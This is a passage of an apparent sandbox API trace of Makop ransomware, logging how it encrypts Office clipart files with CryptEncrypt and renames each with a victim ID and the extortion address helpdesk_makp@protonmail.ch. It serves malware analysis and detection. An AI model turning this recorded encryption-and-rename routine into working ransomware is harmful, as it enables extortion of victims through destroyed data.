dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.842] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.842] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.842] GetProcessHeap () returned 0x48a0000 [0153.842] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.842] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.842] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.843] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.843] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.843] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.843] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.843] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.844] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e02, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e02, lpOverlapped=0x0) returned 1 [0153.846] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e10, dwBufLen=0x4e10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e10) returned 1 [0153.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.847] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e10, lpOverlapped=0x0) returned 1 [0153.847] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.847] SetEndOfFile (hFile=0xf0) returned 1 [0153.855] GetProcessHeap () returned 0x48a0000 [0153.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.855] GetProcessHeap () returned 0x48a0000 [0153.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.857] CloseHandle (hObject=0xf0) returned 1 [0153.857] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1 [0153.857] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF") returned 63 [0153.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.860] GetProcessHeap () returned 0x48a0000 [0153.860] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.860] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0153.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.866] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.866] GetProcessHeap () returned 0x48a0000 [0153.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.868] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x276a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x276a, lpOverlapped=0x0) returned 1 [0153.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2770, dwBufLen=0x2770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2770) returned 1 [0153.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2770, lpOverlapped=0x0) returned 1 [0153.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.870] SetEndOfFile (hFile=0xf0) returned 1 [0153.878] GetProcessHeap () returned 0x48a0000 [0153.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.878] GetProcessHeap () returned 0x48a0000 [0153.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.880] CloseHandle (hObject=0xf0) returned 1 [0153.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1 [0153.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF") returned 63 [0153.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.881] GetProcessHeap () returned 0x48a0000 [0153.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.886] GetProcessHeap () returned 0x48a0000 [0153.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.888] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x228c, lpOverlapped=0x0) returned 1 [0153.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2290, dwBufLen=0x2290 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2290) returned 1 [0153.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2290, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2290, lpOverlapped=0x0) returned 1 [0153.890] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.890] SetEndOfFile (hFile=0xf0) returned 1 [0153.897] GetProcessHeap () returned 0x48a0000 [0153.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.897] GetProcessHeap () returned 0x48a0000 [0153.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.897] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.899] CloseHandle (hObject=0xf0) returned 1 [0153.899] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0153.899] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF") returned 63 [0153.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.901] GetProcessHeap () returned 0x48a0000 [0153.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.901] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.906] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.906] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.906] GetProcessHeap () returned 0x48a0000 [0153.906] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.907] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.907] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.907] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.907] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.907] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.908] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.908] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.908] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9fc, lpOverlapped=0x0) returned 1 [0153.909] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00, dwBufLen=0xa00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00) returned 1 [0153.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa00, lpOverlapped=0x0) returned 1 [0153.909] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.909] SetEndOfFile (hFile=0xf0) returned 1 [0153.916] GetProcessHeap () returned 0x48a0000 [0153.916] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.916] GetProcessHeap () returned 0x48a0000 [0153.916] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.916] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.918] CloseHandle (hObject=0xf0) returned 1 [0153.918] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1 [0153.920] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft 